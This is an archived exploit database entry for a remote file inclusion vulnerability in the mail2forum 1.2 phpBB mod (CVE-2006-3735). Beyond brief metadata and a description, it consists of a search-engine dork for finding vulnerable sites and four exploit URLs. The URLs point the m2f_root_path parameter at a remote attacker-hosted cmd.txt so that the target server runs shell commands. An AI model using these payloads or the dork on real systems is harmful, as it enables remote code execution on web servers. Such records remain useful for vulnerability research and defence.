mail2forum phpBB Mod 1.2 - 'm2f_root_path' Remote File Inclusion

Author: OLiBekaS
type: webapps
platform: php
port: 
date_added: 2006-07-16 
date_updated: 2016-08-24 
verified: 1 
codes: OSVDB-27357;CVE-2006-3735;OSVDB-27356;OSVDB-27355;OSVDB-27354 
tags: 
aliases:  
screenshot_url:  
application_url: http://www.exploit-db.comm2f1.2.tar.gz

Title : mail2forum <= 1.2 Multiple Remote File Include Vulnerabilities

###############################################################################

Discovered By OLiBekaS

-----------------------------------------------------------------------------

Affected software description :
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Application : mail for phpbb (bulletin board/forum software)
version : latest version [ 1.2 ]
URL : http://www.www.mail2forum.com

-----------------------------------------------------------------------------

dork        : allinurl:/m2f_usercp.php?

Exploit     :
http://[target]/[forum_path]/m2f/m2f_phpbb204.php?m2f_root_path=http://[attacker]/cmd.txt?&cmd=ls
http://[target]/[forum_path]/m2f/m2f_forum.php?m2f_root_path=http://[attacker]/cmd.txt?&cmd=ls
http://[target]/[forum_path]/m2f/m2f_mailinglist.php?m2f_root_path=http://[attacker]/cmd.txt?&cmd=ls
http://[target]/[forum_path]/m2f/m2f_cron.php?m2f_root_path=http://[attacker]/cmd.txt?&cmd=ls

# milw0rm.com [2006-07-17]